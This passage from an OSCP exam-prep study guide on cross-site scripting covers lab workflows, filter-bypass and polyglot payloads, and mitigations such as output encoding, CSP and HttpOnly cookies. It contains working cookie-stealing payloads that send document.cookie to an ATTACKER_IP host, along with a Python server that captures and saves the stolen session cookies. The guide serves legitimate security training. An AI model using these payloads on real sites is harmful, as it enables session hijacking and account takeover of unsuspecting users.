dalfox url "http://target.com/page?param=test"

# 4. xsstrike
python3 xsstrike.py -u "http://target.com/page?param=test"

# 5. XSStrike
python3 xsstrike.py -u "http://target.com/page?param=test"

# 6. TruffleHog (for DOM XSS)
#    - Analyze JavaScript files for sinks

10. XSS Exploitation in OSCP Labs

Common OSCP Lab Scenarios

Scenario 1: DVWA / bWAPP / Mutillidae

# These labs have dedicated XSS sections
# Focus on:
# 1. Low Security - Direct injection
# 2. Medium Security - Filter bypass
# 3. High Security - Context-specific exploitation
# 4. Impossible - Understanding mitigations

# Typical workflow:
# 1. Navigate to XSS section
# 2. Test with <script>alert(1)</script>
# 3. If blocked, try alternative payloads
# 4. Demonstrate impact (cookie theft, etc.)

Scenario 2: Web Application with Comment/Profile Feature

# 1. Register an account
# 2. Find input fields (bio, comment, name, etc.)
# 3. Test each field with XSS payloads
# 4. If stored XSS found:
#    - Set up listener
#    - Inject cookie-stealing payload
#    - Visit page or wait for admin
#    - Capture session cookie
#    - Use cookie to access admin panel

Scenario 3: Reflected XSS in Search/Filter Function

# 1. Find search or filter functionality
# 2. Test reflected parameters
# 3. Craft malicious URL
# 4. In lab: Use the URL yourself to demonstrate
# 5. Document the social engineering vector

Practical Exploitation Chain

# Complete exploitation chain for OSCP:

# Step 1: Discovery
# Find XSS vulnerability through testing

# Step 2: Proof of Concept
# <script>alert(1)</script>

# Step 3: Impact Demonstration
# Set up Python HTTP server to receive data
python3 -m http.server 80

# Step 4: Inject Payload
<script>
new Image().src = 'http://ATTACKER_IP/?c=' + document.cookie;
</script>

# Step 5: Trigger the Payload
# Visit the page (or trick victim in real scenario)

# Step 6: Capture the Cookie
# Check Python server logs for stolen cookie

# Step 7: Use the Cookie
# Replace your browser cookie with stolen cookie
# Access the application as the victim

# Step 8: Document Everything
# Screenshots of:
# - Vulnerability discovery
# - Payload injection
# - Cookie theft
# - Session hijacking
# - Access gained
# Step 1: Identify important cookies
# Look for:
# - session_id
# - PHPSESSID
# - JSESSIONID
# - ASP.NET_SessionId
# - auth_token
# - Any cookie with sensitive name

# Step 2: Craft cookie-stealing payload
<script>
document.location = 'http://ATTACKER_IP/steal?cookie=' + document.cookie;
</script>

# Step 3: Set up receiver
python3 << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        if 'cookie' in params:
            cookie = params['cookie'][0]
            print(f'\n[+] STOLEN COOKIE: {cookie}\n')
            with open('stolen_cookie.txt', 'w') as f:
                f.write(cookie)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
    def log_message(self, *args):
        pass

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
EOF

# Step 4: Use the stolen cookie
# In browser DevTools → Application → Cookies
# Replace the session cookie with the stolen one
# Refresh the page to access as the victim

11. Comparison Table

XSS Types Comparison

Feature Reflected XSS Stored XSS DOM-Based XSS Mutation XSS
Persistence None (one-time) Persistent (stored on server) None (client-side only) Varies
Payload Location URL/Request Database/Storage URL/Client Storage Server/Client
Server Involvement Yes (reflects payload) Yes (stores and serves) No (client-side only) Yes (sanitizes incorrectly)
Victim Action Click malicious link Visit compromised page Click malicious link Visit compromised page
Impact Scope Single victim (per delivery) Multiple victims Single victim (per delivery) Multiple victims
Detection Difficulty Easy Medium Hard Very Hard
Exploitation Difficulty Easy Easy Medium Hard
Social Engineering Required Not required Required Not required
Common Locations Search results, error messages Comments, profiles, forums URL handlers, SPAs Rich text editors, CMS
Risk Level Medium High Medium-High High
Fix Complexity Low Medium Medium High

Detection Difficulty Scale

Easy ──────────────────────────────────────── Hard

Reflected XSS          Stored XSS          DOM XSS          mXSS
(Easy to detect)      (Medium)            (Hard - client)  (Very Hard)

Impact Scale

Low ──────────────────────────────────────── High

Reflected XSS          DOM XSS           Stored XSS          mXSS + Stored
(Single victim)       (Single victim)   (Multiple victims)  (Multiple victims)

12. Mitigation Strategies

Defense-in-Depth Approach

Layer 1: Input Validation

// Whitelist validation - only allow expected input
function validate_input($input, $type) {
    switch($type) {
        case 'email':
            return filter_var($input, FILTER_VALIDATE_EMAIL);
        case 'integer':
            return filter_var($input, FILTER_VALIDATE_INT);
        case 'alphanumeric':
            return preg_match('/^[a-zA-Z0-9]+$/', $input);
        case 'url':
            return filter_var($input, FILTER_VALIDATE_URL);
        default:
            return false;
    }
}

Layer 2: Output Encoding

// Context-aware output encoding
function encode_output($data, $context) {
    switch($context) {
        case 'html':
            return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
        case 'attribute':
            return '"' . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . '"';
        case 'javascript':
            return json_encode($data);
        case 'css':
            return urlencode($data);
        case 'url':
            return rawurlencode($data);
        default:
            return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
    }
}

// Usage examples:
// HTML Body:
echo '<p>' . encode_output($userInput, 'html') . '</p>';

// HTML Attribute:
echo '<div class="' . encode_output($userInput, 'attribute') . '"></div>';

// JavaScript:
echo '<script>var data = ' . encode_output($userInput, 'javascript') . ';</script>';

Layer 3: Content Security Policy (CSP)

# Strict CSP
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';

# CSP with reporting
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report;
// Secure cookie settings
setcookie('session_id', $session_value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JavaScript access
    'samesite' => 'Strict' // CSRF protection
]);

Layer 5: HTTP Headers

X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin

Framework-Specific Protections

Django

# Django auto-escapes by default
# {{ user_input }} is automatically escaped

# If you need raw HTML (dangerous):
# {{ user_input|safe }} - USE WITH CAUTION

# Use marksafe only for trusted content
from django.utils.safestring import mark_safe
safe_content = mark_safe(trusted_html)

React

// React automatically escapes JSX
// This is SAFE:
<div>{userInput}</div>

// This is DANGEROUS (avoid):
<div dangerouslySetInnerHTML={{__html: userInput}}></div>

// If you must use dangerouslySetInnerHTML, sanitize first:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}}></div>

Angular

// Angular auto-escapes by default
// {{ userInput }} is safe

// If binding to HTML:
// [innerHTML]="userInput" - Angular sanitizes automatically

// Bypass sanitization (dangerous):
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
safeHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);

13. OSCP-Specific Tips and Lab Scenarios

Tips for OSCP Exam

Tip 1: Always Demonstrate Impact

❌ Just showing: <script>alert(1)</script>
✅ Showing: Cookie theft → Session hijacking → Admin access

Examiners want to see the full attack chain, not just PoC.

Tip 2: Document Everything

# Required documentation:
# 1. Screenshot of vulnerability discovery
# 2. Screenshot of payload injection
# 3. Screenshot of exploitation (cookie theft, etc.)
# 4. Screenshot of impact (access gained)
# 5. Full request/response in Burp
# 6. Explanation of the vulnerability
# 7. Remediation recommendations

Tip 3: Try All Input Points

# Don't just test obvious fields:
# - Search boxes
# - Comment fields
# - User profiles

# Also test:
# - URL parameters
# - HTTP headers (User-Agent, Referer)
# - Hidden form fields
# - JSON API parameters
# - File upload filenames
# - Cookie values

Tip 4: Context Matters

# Before injecting, determine the output context:

# 1. View page source
# 2. Find where your test input appears
# 3. Determine the context:
#    - Inside HTML tags? → HTML context
#    - Inside quotes? → Attribute context
#    - Inside script tag? → JavaScript context
#    - Inside style tag? → CSS context
# 4. Choose appropriate payload

Tip 5: Use Alternative Payloads

# If <script> is blocked, try:
# <img src=x onerror=alert(1)>
# <svg onload=alert(1)>
# <iframe src=javascript:alert(1)>
# <body onload=alert(1)>
# <input onfocus=alert(1) autofocus>

# If quotes are blocked:
# <img src=x onerror=alert(1)>
# <svg/onload=alert(1)>

# If parentheses are blocked:
# <img src=x onerror=alert`1`>

Tip 6: Check for Stored XSS First

# Stored XSS is more valuable:
# 1. Submit payload
# 2. Refresh page
# 3. Does payload persist?
# 4. If yes → Stored XSS (higher impact)
# 5. If no → Check for Reflected XSS

Tip 7: Look for Admin-Only Pages

# If you find Stored XSS:
# 1. The payload affects ALL visitors
# 2. Admin visiting the page gets compromised
# 3. This is a critical finding
# 4. Document the admin impact scenario

Common OSCP Lab Applications

DVWA (Damn Vulnerable Web App)

# XSS Section:
# - Reflected XSS (Low/Medium/High/Impossible)
# - Stored XSS (Low/Medium/High/Impossible)
# - DOM XSS (Low/Medium/High/Impossible)

# Tips:
# - Start with Low security
# - Understand the filter at each level
# - Learn bypass techniques

bWAPP (buggy Web Application)

# Multiple XSS vulnerabilities:
# - Guestbook (Stored)
# - Search (Reflected)
# - User profile (Stored)
# - Comments (Stored)

# Tips:
# - Check all input fields
# - Try different security levels

Mutillidae

# XSS vulnerabilities in:
# - Search functionality
# - User registration
# - Comment system
# - Profile editing

# Tips:
# - Use the built-in scanner
# - Verify findings manually

Lab-Specific Payloads

# For labs with basic filtering:
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# For labs with script tag filtering:
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

# For labs with event handler filtering:
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

# For labs with common word filtering:
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=confirm(1)>

14. Common Pitfalls and Examiner Expectations

Common Pitfalls

Pitfall 1: Not Demonstrating Impact

❌ Finding: XSS vulnerability found
   Payload: <script>alert(1)</script>

✅ Finding: Stored XSS in comment section
   Payload: <script>new Image().src='http://ATTACKER/?c='+document.cookie</script>
   Impact: Session cookie stolen, admin access gained
   Evidence: Screenshots of cookie theft and admin panel access

Pitfall 2: Missing Context

❌ Just injecting payloads randomly

✅ Analyzing output context first:
   1. Where is input reflected?
   2. What encoding is applied?
   3. What context is the output in?
   4. Choose payload based on context

Pitfall 3: Not Checking All Parameters

❌ Only testing obvious input fields

✅ Testing all input vectors:
   - URL parameters
   - POST data
   - HTTP headers
   - Cookies
   - Hidden fields
   - JSON bodies

Pitfall 4: Ignoring Stored XSS

❌ Finding Reflected XSS and moving on

✅ After finding Reflected XSS:
   1. Check if input is stored
   2. Refresh page to verify persistence
   3. Stored XSS = higher impact, more points

Pitfall 5: Poor Documentation

❌ Minimal screenshots, no explanation

✅ Comprehensive documentation:
   - Clear screenshots with annotations
   - Full request/response
   - Step-by-step exploitation
   - Impact demonstration
   - Remediation advice

What Examiners Look For

1. Methodical Approach

Examiners want to see:
✓ Systematic testing of all input points
✓ Context analysis before payload selection
✓ Progression from PoC to impact demonstration
✓ Proper documentation of findings

2. Impact Demonstration

Minimum acceptable:
- Cookie theft
- Session hijacking

Preferred:
- Admin access gained
- Data exfiltration
- Full account takeover

3. Understanding of Vulnerability

Show you understand:
- Why the vulnerability exists
- How it can be exploited
- What the impact is
- How to fix it

4. Clean Exploitation

Avoid:
- Breaking the application
- Causing errors
- Leaving mess behind

Do:
- Clean exploitation
- Proper documentation
- Professional presentation

Report Writing Tips

## Vulnerability: Stored Cross-Site Scripting (XSS)

### Severity: High

### Description:
A stored XSS vulnerability was identified in the comment section of the web application. 
User-supplied input is stored in the database and rendered in HTML responses without 
proper sanitization or encoding.

### Proof of Concept:
1. Navigate to /posts/1
2. Submit a comment with the following payload:
   <script>new Image().src='http://ATTACKER_IP/?c='+document.cookie</script>
3. The payload is stored and executed when any user views the post

### Impact:
- Session hijacking of any user who views the compromised post
- Potential admin account takeover
- Credential theft
- Malicious code execution in victim's browser

### Remediation:
- Implement output encoding using htmlspecialchars() or equivalent
- Use Content Security Policy headers
- Set HttpOnly flag on session cookies
- Use a sanitization library like DOMPurify for rich text inputs

15. Advanced Techniques

Polyglot XSS Payloads

A polyglot XSS payload is designed to work in multiple contexts simultaneously.

<!-- Polyglot 1 -->
javascript://';alert(1)//";alert(1)//

<!-- Polyglot 2 -->
'"<img src=x onerror=alert(1)>

<!-- Polyglot 3 -->
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

<!-- Polyglot 4 -->
';alert(1)//";alert(1);//><script>alert(1)</script>

<!-- Polyglot 5 - The Famous One -->
JaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Second-Order XSS

First-Order XSS:
Input → Immediate Output → Execution

Second-Order XSS:
Input → Stored → Later Retrieved → Different Output → Execution

Example:
1. Attacker submits username: <script>alert(1)</script>
2. Username stored in database
3. Admin views user management page
4. Username displayed without encoding
5. Script executes in admin's browser

XSS via HTTP Headers

# User-Agent Header
curl -H "User-Agent: <script>alert(1)</script>" http://target.com/

# Referer Header
curl -e "<script>alert(1)</script>" http://target.com/

# X-Forwarded-For Header
curl -H "X-Forwarded-For: <script>alert(1)</script>" http://target.com/

# Cookie Header
curl -b "session=<script>alert(1)</script>" http://target.com/

XSS in File Uploads

# Upload HTML/PHP file with XSS payload
# Filename: <script>alert(1)</script>.html
# Content: <script>alert(1)</script>

# Or upload image with embedded script in metadata
exiftool -Comment='<script>alert(1)</script>' image.jpg

XSS via SVG Files

<!-- uploaded.svg -->
<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert('XSS')</script>
</svg>

XSS via CSS

/* If CSS injection is possible */
body {
    background: url("javascript:alert(1)");
}

/* Expression-based (IE only, but good to know) */
body {
    width: expression(alert(1));
}

16. References and Further Reading

Essential Resources

  1. OWASP XSS Prevention Cheat Sheet

  2. PortSwigger Web Security Academy - XSS

  3. PayloadsAllTheThings - XSS

  4. MDN Web Docs - XSS

  5. DOMPurify Documentation

Books

  1. The Web Application Hacker’s Handbook - Dafydd Stuttard & Marcus Pinto
  2. Real-World Bug Hunting - Peter Yaworski
  3. Bug Bounty Bootcamp - Vickie Li

Practice Platforms

  1. DVWA - Damn Vulnerable Web Application
  2. bWAPP - buggy Web Application
  3. OWASP WebGoat
  4. PortSwigger Web Security Academy Labs
  5. HackTheBox - Web challenges
  6. TryHackMe - XSS rooms

Tools

  1. Burp Suite - Primary web testing tool
  2. OWASP ZAP - Open source alternative
  3. Dalfox - DOM XSS scanner
  4. xsstrike - XSS detection tool
  5. XSStrike - Advanced XSS scanner

Quick Reference Card

XSS Payload Quick Reference

┌─────────────────────────────────────────────────────────────────┐
│                    XSS QUICK REFERENCE                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  BASIC PAYLOADS:                                                │
│  <script>alert(1)</script>                                     │
│  <img src=x onerror=alert(1)>                                  │
│  <svg onload=alert(1)>                                         │
│                                                                 │
│  COOKIE THEFT:                                                  │
│  <script>new Image().src='http://ATTACKER/?c='+document.cookie</script>│
│                                                                 │
│  NO SCRIPT TAG:                                                 │
│  <img src=x onerror=alert(1)>                                  │
│  <svg onload=alert(1)>                                         │
│  <iframe src=javascript:alert(1)>                              │
│                                                                 │
│  NO QUOTES:                                                     │
│  <img src=x onerror=alert(1)>                                  │
│  <svg/onload=alert(1)>                                         │
│                                                                 │
│  NO PARENTHESES:                                                │
│  <img src=x onerror=alert`1`>                                  │
│                                                                 │
│  JAVASCRIPT CONTEXT:                                            │
│  ';alert(1);//                                                 │
│  ";alert(1);//                                                 │
│                                                                 │
│  ATTRIBUTE CONTEXT:                                             │
│  " onmouseover="alert(1)                                       │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

OSCP XSS Checklist

□ Identify all input points
□ Test each input with basic payloads
□ Determine output context
□ Select context-appropriate payload
□ Verify vulnerability (PoC)
□ Demonstrate impact (cookie theft, etc.)
□ Check for stored vs reflected
□ Test all parameters (not just obvious ones)
□ Document with screenshots
□ Write remediation recommendations
□ Include in final report

This study note is designed for OSCP exam preparation. Always practice in authorized lab environments only. Unauthorized testing against systems you don’t own or have explicit permission to test is illegal and unethical.

Last Updated: 2026-09-01 Topic: Cross-Site Scripting (XSS) Deep Dive Chapter: 08 - Client-Side Attacks